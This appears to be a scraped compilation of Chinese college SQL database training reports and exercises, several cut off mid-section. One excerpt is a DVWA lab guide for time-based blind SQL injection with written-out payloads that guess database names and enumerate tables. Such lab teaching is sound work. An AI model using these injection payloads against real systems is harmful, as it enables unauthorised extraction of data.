sql数据库实训
数据库实训总结7篇
数据库实训总结7篇第1篇示例：数据库实训是数据库课程中非常重要的一环，通过实践操作，能够更好地理解数据库的基本原理和操作技巧。
本次数据库实训总结将从实训内容、实训过程和实训收获三个方面进行回顾。
一、实训内容在数据库实训中，我们主要学习了数据库的设计、建表、插入数据、查询数据、更新数据、删除数据等基本操作。
通过实际操作，我们了解了数据库设计的重要性，设计合理的数据库结构可以提高数据的存储效率和检索效率。
我们还学习了SQL语句的编写，掌握了SELECT、INSERT、UPDATE、DELETE等关键字的用法，能够灵活查询和操作数据库中的数据。
我们还学习了索引、视图、触发器等高级技术，进一步提升了数据库操作的水平。
二、实训过程在实训过程中，我们首先完成了数据库设计和建表的工作，根据需求分析确定了数据库的表结构，并创建了相应的表。
接着，我们通过SQL语句插入了大量的测试数据，以便后续的查询和操作。
然后，我们对数据库中的数据进行了各种操作，包括查询特定条件下的数据、更新数据、删除数据等。
在操作过程中，我们遇到了一些问题，如SQL语句的书写错误、查询条件设置不当等，但通过思考和实践，最终都得到了解决。
三、实训收获通过数据库实训，我们积累了丰富的数据库操作经验，掌握了SQL语句的基本用法和高级技术。
我们学会了如何设计合理的数据库结构，如何提高查询效率，如何保证数据的完整性和一致性。
我们还培养了团队合作能力和解决问题的能力，通过与同学一起讨论和思考，共同解决实训中遇到的难题。
通过实践操作，我们真正理解了数据库理论知识的应用，提升了自己的实际操作能力。
数据库实训是一次非常有意义的实践活动，通过实践操作，我们不仅巩固了数据库课程中学到的知识，还培养了实际操作能力和团队合作精神。
希望今后能够继续学习和探索数据库领域的知识，不断提升自己的专业水平。
【内容结束】第2篇示例：数据库实训总结数据库实训是大学生学习数据库课程的重要环节，通过实践操作，学生可以更深入地了解数据库的基本概念和操作技能。
数据库实训总结
数据库实训总结SQLServer数据库管理课实训报告这个星期是我们SQLServer数据库管理课的实训，经过一个星期的实训，让我将书本上的理论与实践相结合，领会到了许多平时课堂上所没有接受的课外知识课外训练，懂得如何去运用自己学到的书本上的知识，而进行的一次分析设计综合的训练。
而本次实训的目的是让我们掌握数据库系统的原理、技术，将理论与实际相结合，应用现有的数据库管理系统软件，规范、科学地完成一个设计与实现。
其实说心里话，在实训数据库之前我对数据库这门课程是既抗拒又害怕的。
从第一节课开始，我在很认真的听老师讲课，而且自己也非常有信心学好这门课程。
但是上了一个月的课程后我发现，对于数据库我学的完全是迷迷糊糊，对于查询命令学的也是似懂非懂，后来老师授课的内容开始越积越多，我不会的没弄懂的也越积越多，最后开始害怕这门课上课，更害怕这门课考试。
抱着不想挂科的心理，在数据库实训之前，我抽了一个星期的时间仔细地看了书，并且把课后习题仔仔细细地重新做了一遍，对这本书的整个知识体系在脑袋里面有个大概的印象，后来老师告诉我们这次实训的目标，于是我对这次实训工作胸中就开始有大致的轮廓。
这次我们实训的内容是从数据库、数据表的创建和修改开始的，我知道了：表是建立关系数据库的基本结构，用来存储数据具有已定义的属性，在表的操作过程中，有查看表信息、查看表属性、修改表中的数据、删除表中的数据及修改表和删除表的操作。
从实训中让我更明白一些知识，表是数据最重要的一个数据对象，表的创建好坏直接关系到数数据库的成败，表的内容是越具体越好，但是也不能太繁琐，以后在实际应用中多使用表，对表的规划和理解就会越深刻。
我们实训的另一个内容是数据库的约束、视图、查询。
查询语句的基本结构，和简单SELECT语句的使用，多表连接查询。
而在视图的操作中，也了解到了视图是常见的数据库对象，是提供查看和存取数据的另一种途径，对查询执行的大部分操作，使用视图一样可以完成。
数据库应用与安全管理实训 SQL注入(时间盲注)1
实训SQL注入（时间盲注）1一、实训目的1. 了解SQL注入的常用方式2. 掌握SQL时间盲注的方法二、实训环境1. DVWA平台2. Firefox浏览器（谷歌浏览器）三、实训内容1. 配置DVWA平台进入DVWA平台，选择DVWA Security，将安全级别设置为Low。
2. 测试SQL注入点（1）点击SQL Injection（Blind），进入测试页面。
（2）使用参数1' and sleep(5) #进行提交，页面明显延迟。
使用参数1 and sleep(5) #进行提交，页面没有延迟。
说明是基于字符的时间盲注。
（3）猜解数据库名的长度。
具体命令如下：•1' and if(length(database())=1,sleep(5),1) # //没有延迟•…………•1' and if(length(database())=4,sleep(5),1) # //明显延迟（4）二分法猜解数据库名。
具体命令如下：•1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# //明显延迟•……•1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# //没有延迟•1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# //没有延迟修改substr函数的第二个参数，如substr(database(),2,1)进行测试，可以获得数据库的第二个字母。
（5）猜解数据库表的数量。
具体命令如下：•1' and if((select count(table_name) from information_schema.tables wheretable_schema=database() )=1,sleep(5),1)# //没有延迟•1' and if((select count(table_name) from information_schema.tables wheretable_schema=database() )=2,sleep(5),1)# //明显延迟（6）猜解数据库表名的长度。
SQL数据库实验报告
湖北国土资源职业学院SQL数据库实验报告2010-2011 学年第二学期实验名称数据库应用技术班级测量0902指导老师侯文平学生姓名杨然系（部）测绘工程系实训时间2011年5月实验一注册服务器与创建数据库一、实验目的1.熟悉SQL Server 2005管理平台的环境2.掌握注册服务器的过程3.了解Microsoft SQL Server中系统数据库中的数据4.掌握创建库5.掌握创建数据表二、实验内容1. 使用联机丛书2．注册服务器3．创建数据库4．创建数据表三、仪器、设备、材料微机四、实验准备1．理论知识预习及要求①服务器组的创建；②服务器的注册；③创建数据库；④创建数据表；2．实验指导书预习及要求上机前先预习第一、二章的内容及附录A中的实验一，理解注册服务器的作用。
3．其他准备无五、实验原理或操作要点简介注意服务器要先启动，才能与服务器建立连接。
六、注意事项要养成为文件取有意义名称的习惯。
要及时保存文件，避免死机或断电造成的文件丢失。
创建过程中，出现问题时，请保存，请老师解答。
创建过程中，若出现找不到相应的问题时，要看联机丛书，逐步学会自学。
七、实验过程与指导1. 使用联机丛书（操作步骤参考教材P273实验一中的操作步骤）2．注册服务器（操作步骤参考教材P8）3．创建数据库（操作步骤参考教材P12，要求将数据库存储在最后一个磁盘，以自己姓名命名的文件夹，如F:\hwp）4．创建数据表以界面方式建立一个学生基本情况表（tblStudent），建立的要求如下表。
以界面方式建立一个班级表（tblClass），建立的要求如下表。
5．往表中插入记录①往tblStudent表中插入记录。
观察：●蔡文姬的性别在输入的时，没有输入，输入完成后，变成了什么？为什么？●曹操的性别误输入为“国”，也成功的存储了。
我们可以在保存数据前做什么工作，防止用户输入错误的发生？继续，往tblStudent表中插入记录。
输入完成，提交更新行时，会出现下面错误提示：思考：该提示的含义是什么，由什么原因引起？②往tblClass表中插入记录。
sql数据库实训报告
sql数据库实训报告1.引言SQL（Structured Query Language）是一种用于管理关系数据库系统的计算机编程语言。
在日常生活和工作中，我们难免会遇到需要存储和管理大量数据的情况，而SQL数据库正是解决这类问题的有效工具。
在本次实训中，我们学习了SQL数据库的基本概念、语法和操作，以及如何利用SQL数据库进行数据的增删改查等操作。
本报告将总结实训过程中的所学内容。
2.实训目标与环境搭建实训的目标是让学员了解并熟悉SQL数据库的基本操作，并能够运用所学知识完成实际的数据管理和查询任务。
为了实现这一目标，我们需要先行搭建实训环境，包括安装和配置数据库软件等。
3.数据库设计与建表在使用SQL数据库进行数据管理之前，我们首先需要进行数据库设计和建表操作。
数据库设计是根据实际业务需求，确定数据库的表结构、字段类型、主外键关系等，以便于更好地管理和查询数据。
在建表过程中，我们需要考虑到数据的一致性、完整性和安全性等方面的问题。
4.数据导入与查询数据导入是将已有的数据导入到SQL数据库中的过程。
在实际工作中，我们通常会遇到需要存储和管理大量已有数据的情况，而不是从零开始创建数据。
通过数据导入操作，我们可以将Excel表格、CSV文件等数据源快速导入到数据库中，并进行相应的查询操作。
5.数据的增删改查数据的增删改查是SQL数据库最常用的操作之一。
通过SQL 语句，我们可以实现数据的插入、更新、删除和查询等功能。
通过实际的案例演练，我们可以了解到不同类型的SQL语句及其使用方法，以及如何通过这些语句实现对数据的操作。
6.索引和优化在实际的数据库管理中，如果数据量庞大，查询效率就会成为一个较大的问题。
为此，我们需要对数据库进行索引和优化操作，以提升查询效率。
通过在适当的字段上添加索引，可以加快数据的查找速度；通过调整数据库的参数设置和优化查询语句，可以提高数据库的整体性能。
7.备份和恢复数据库的备份和恢复是非常重要的工作，尤其在面临数据丢失或数据库受损等情况时。
sql数据库实训总结(文档)
sql数据库实训总结(文档)sql数据库实训总结sql数据库实训总结,SQL是Structured Query Language(结构化查询语言)的缩写。
SQL是专为数据库而建立的操作命令集，是一种功能齐全的数据库语言。
下面是共享的sql数据库实训总结，欢迎阅读!sql数据库实训总结我在sql server 索引基础学问系列中,第一篇就讲了记录数据的基本格式。
那里主要讲解的是，数据库的最小读存单元：数据页。
一个数据页是8k大小。
对于数据库来说，它不会每次有一个数据页变化后，就存到硬盘。
而是变化达到一定数量级后才会作这个操作。
这时候，数据库并不是以数据页来作为操作单元，而是以64k的数据(8个数据页，一个区)作为操作单元。
区是管理空间的基本单位。
一个区是八个物理上延续的页(即 64 kb)。
这意味着 sql server 数据库中每 mb 有 16 个区。
为了使空间分配更有效，sql server 不会将全部区别配给包含少量数据的表。
sqlserver 有两种类型的区：统一区，由单个对象全部。
区中的全部 8 页只能由所属对象使用。
混合区，最多可由八个对象分享。
区中八页的每页可由不同的对象全部。
通常从混合区向新表或索引分配页。
当表或索引增长到 8 页时，将变成使用统一区举行后续分配。
假如对现有表创建索引，并且该表包含的行足以在索引中生成 8 页，则对该索引的全部分配都使用统一区举行。
为何会这样呢?其实很容易：读或写 8kb 的时光与读或写 64 kb的时光几乎相同。
在 8 kb 到 64 kb 范围之内，单个磁盘 i/o 传输操作所花的时光主要是磁盘取数臂和读/写磁头运动的时光。
因此，从数学上来讲，当需要传输 64 kb 以上的 sql 数据时，尽可能地执行 64 kb 磁盘传输是有益的，即分成数个64k 的操作。
由于 64 kb 传输基本上与 8 kb 传输一样快，而每次传输的 sql server 数据是 8 kb 传输的 8 倍。
数据库实训总结报告
一、前言随着信息技术的飞速发展，数据库技术已经成为现代社会不可或缺的一部分。
为了提高自身的专业素养，我参加了为期两周的数据库实训课程。
通过本次实训，我对数据库技术有了更加深入的了解，掌握了数据库的基本原理、操作方法和实际应用。
以下是我对本次实训的总结。
二、实训目的1. 掌握数据库的基本概念、原理和操作方法。
2. 熟悉常用的数据库管理系统，如MySQL、Oracle等。
3. 能够根据实际需求设计、创建、维护和优化数据库。
4. 提高自己的动手能力和团队协作能力。
三、实训内容1. 数据库基本概念实训课程首先介绍了数据库的基本概念，包括数据库、数据库管理系统（DBMS）、数据库系统（DBS）等。
通过学习，我对数据库的基本组成和功能有了清晰的认识。
2. 关系数据库理论实训课程重点讲解了关系数据库理论，包括关系模型、关系代数、SQL语言等。
通过学习，我掌握了关系数据库的基本操作，如创建、查询、更新、删除等。
3. 常用数据库管理系统实训课程介绍了常用的数据库管理系统，如MySQL、Oracle、SQL Server等。
通过实际操作，我熟悉了这些数据库管理系统的安装、配置和使用方法。
4. 数据库设计实训课程讲解了数据库设计的基本方法和步骤，包括需求分析、概念设计、逻辑设计、物理设计等。
通过实际案例，我学会了如何根据实际需求设计合理的数据库结构。
5. 数据库应用开发实训课程介绍了数据库应用开发的基本流程，包括需求分析、系统设计、编码实现、测试部署等。
通过实际操作，我掌握了使用数据库进行应用开发的技能。
四、实训收获1. 理论知识方面：通过本次实训，我对数据库的基本原理、操作方法和实际应用有了更加深入的了解，为今后的学习和工作打下了坚实的基础。
2. 实践能力方面：在实训过程中，我学会了使用数据库管理系统进行实际操作，提高了自己的动手能力。
同时，通过团队合作，我学会了与他人沟通、协作，提高了团队协作能力。
3. 解决问题能力方面：在实训过程中，我遇到了许多问题，通过查阅资料、请教老师和同学，我学会了如何分析问题、解决问题，提高了自己的问题解决能力。
SQL实训报告
SQL实训报告第一篇：SQL实训报告SQL Server 实训报告班级：姓名：学号：实训名称：SQL Server数据库应用技术实训题目：教学信息管理实训目的：通过本次实训，使学生了解开发数据库应用程序的过程；通过数据库设计，加深对数据库基础理论的理解并能灵活运用；掌握利用SQL Server 2000数据库管理系统创建、管理、维护数据库的基本方法及过程；培养开发数据库的设计思维。
实训内容：本人与郭晓峰主要负责‘教学信息管理’系统。
主要包括数据的导入和导出、数据库结构的分析与建立、表关系的添加、查询、外关键字的约束、检查约束、默认值、试图、表存储过程和触发器的学习，以及在表的操作过程中，有查看表信息、查看表属性、修改表中的数据、删除表中的数据及修改表和删除表的操作。
本人主要负责数据的导入,数据库的建立,查询数据库的建立：包括数据附加分离数据导入：导入EXCEL表中各个数据（学生信息表班机信息表学生成绩表授课表教师表课程信息表）查询：查询学生记录数查询成绩平均分上课人数学校人员低于平均分者学生信息低于平均分者自定义函数一总体设计思路当看到这个题目我想到一个完整的教学信息管理应包括：学生信息表、班级信息表、课程信息表、学生成绩表、教师表、授课表等。
在整个系统中有两个实体：学生和老师。
二表结构我的系统有六张表组成：学生信息表列名数据类型宽度允许空值说明学号char4否主键姓名char10是性别char2是默认值：男班级号char8是专业char20是系别char20是联系电话char20是入学日期datetime8是备注char50是班级信息表列名数据类型宽度允许空值说明班级号Char8否主键、外键年级Char8是班主任Char8是教师号char8是课程信息表列名数据类型宽度允许空值说明课程号Char8否主键课程名称Char10是课程类型Char8是学分Char8是课程说明Char10是学生成绩表列名数据类型宽度允许空值说明学号Char8否主键班级号Char8是学期Char8是课程号Char8是课程名称Char8是成绩decimal8是教师表列名数据类型宽度允许空值说明教工号Char8否主键教师姓名Char8是性别Char8是职称Char8是授课表列名数据类型宽度允许空值说明教工号Char8否主键课程号char8是Excel表格主要如下：班级信息学生信息学生成绩教师表授课表课程信息：二数据库的建立：1在开始菜单中选择“程序——MicrosoftSqlServer——企业管理器”选型，就启动了企业管理器，打开工具窗口如图所示2在企业管理器树状目录窗口中展开一个服务器组，选定服务器。
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《数据库》实训
一．数据库设计
根据如下的需求，设计出一个数据库，包括建立数据库表，设置主关键字和参照完整性。
现要建立一个论坛（BBS）网站，要求具有如下的功能：
●能进行用户的注册，只有注册用户才能发帖。
用户注册需要填写注册名、密码、性别、出生日期、
国家、省(州)、市、地址、邮箱、爱好、密码提示问题、密码提示问题答案、个人肖像等。
●用户可分为管理员、版主、普通用户三大类，能根据普通用户的发帖数量建立用户级别。
●论坛可分为若干个板块（能随意增减），每个板块有一个版主；
●对每一帖子至少应保留如下信息：主题、内容、发帖人、发帖心情图片、发帖时间、人气（点击数）、
回复数、最后回复人、最后回复时间。
●能记录每个用户的发表的主题量、参与讨论的主题量、登录次数、上次登录时间、IP地址等信息。
●能设置精华帖子。
●能记录被删（屏蔽）的帖子。
●设置论坛内的短信服务（即向指定的用户发送消息）。
每个用户有已发信箱、收信箱、待发信箱、
废件箱。
（提示：可用一个表来表示，设置几个标志字段）
二．数据库使用
下面的关系模式是根据关系数据模型建立起来的某一仓储公司的数据库的一部分，该公司在多个城市有仓库，各个仓库有若干名职工，由仓库的职工向供应商签发订购单。
仓库（仓库号，城市，面积）
职工（职工号，姓名，性别，仓库号，工资）
供应商（供应商号，供应商名，地址）
订购单（订购单号，职工号，供应商号，订购日期，金额）
注：下面各题中出现的代号(如S03、E001等)分别为对应实体的编号(如供应商号、职工号)，在输入样本数据时应包含该代号。
“张三”、“上海”等数据同样也应包含在样本数据中。
完成下面各题：
1．根据上述关系模式建立相应的数据库表（必须设置主键和参照完整性）。
注意：根据你自己的理解和常识确定各字段的类型和长度。
2．往上述各表中添加适量的样本数据，前三表每表记录不少于5个，订购单表记录不少于15条。
3．用SQL语句完成下列查询：（注意要保存验证通过的语句）
(1)查询职工“张三”的工资；
(2)查询在“上海”的仓库的信息;
(3)查询供应商为公司的供应商信息；
(4)查询各员工的工资总额、平均工资、最高工资、最低工资；
(5)查询仓库总数和总面积；
(6)查询有职工工资超过5000元的仓库个数；
(7)查询在各城市的仓库数及其总面积；
(8)查询有哪些城市的仓库面积之和大于500平方米（例如：武汉有三个仓库，面积和为850m2）；
(9)查询各个仓库中工资多于1200元的职工个数;
(10)查询向供应商“S03”发过订单的职工号和他所在的仓库号;
(11)查询职工“张三”所签发的所有订单的订单号及其订购日期；
(12)查询和职工E001和E005都签订过订单的供应商信息;
(13)查询供应商“S03”的历年的订购单个数和订购总金额，并按年份升序排列；（提示：使用
group by year(订购日期)）
(14)查询哪些城市至少有一个仓库的职工的工资低于800元；
(15)查询所有职工的工资都多于1210元的仓库的信息；
(16)查询和职工”E004”挣同样多工资的所有职工；
(17)查询每个职工经手的具有最高总金额的订购单信息,并按职工号升序排列。
(18)查询给所有供应商都发过订单的员工的信息；
(19)为仓库号为“W01”的仓库增加一名职工“张三”，其工资为1000，其职工号为“E025”；
(20)将工资在1000元以下的职工的工资增加10%，在1000元以上的增加8%；
(21)将上一年度签订的订购单的总金额位居前3名的职工的工资增加500元；
(22)将供应商”S03”的名称改为”鹏达电子元件公司”，地址该位“武汉市解放大道234号”；
(23)删除职工“E001”在2001年5月12日签发的订购单；
(24)删除最近五年内没有签发订单的客户的订购单信息以及供应商资料；
4. 建立一个视图，存放各位职工签发的订购单的总金额。
5．建立一自定义函数,该函数以供应商号为参数,返回该供应商的年度订购总金额是否呈递增.并利用该函数查询出所有的供应商的订购额是否呈年度递增。
（提示：使用游标，利用上（13）小题的类似的查询语句）
6．建立一存储过程DeleteAndSave，将指定的供应商的订购单的信息从“订购单”表中删除，添加到与“订购单表”结构相同的表“被删订购单”中。
提示：首先判断是否存在表“被删订购单”，若存在，则用 insert … select * from …;
若不存在，则使用select * into被删订购单 from …
7．用某种方法将职工的工资限制在400-80000之间；将订购日期的默认值设为计算机当前时间；
补充题：
三、建立asp网页完成第一题中论坛用户的注册和密码验证。
已知asp中与SQL SERVER数据库的连接代码为：
'SQL SERVER 数据库：服务器为本机（假设服务器名zhusanyuan), 数据库名为test,用户名:user01,密码:12345;
'方法1：不使用ODBC；
' cn.provider="sqloledb"
'ProvStr="Server=ZHUSANYUAN;Database=test;UID=user01;PWD=12345;"
' cn.Open ProvStr
'--------------------------
'方法2：使用ODBC:建立系统数据源dsn_test
' cn.open "DSN=dsn_test","user01","12345"
答案待续。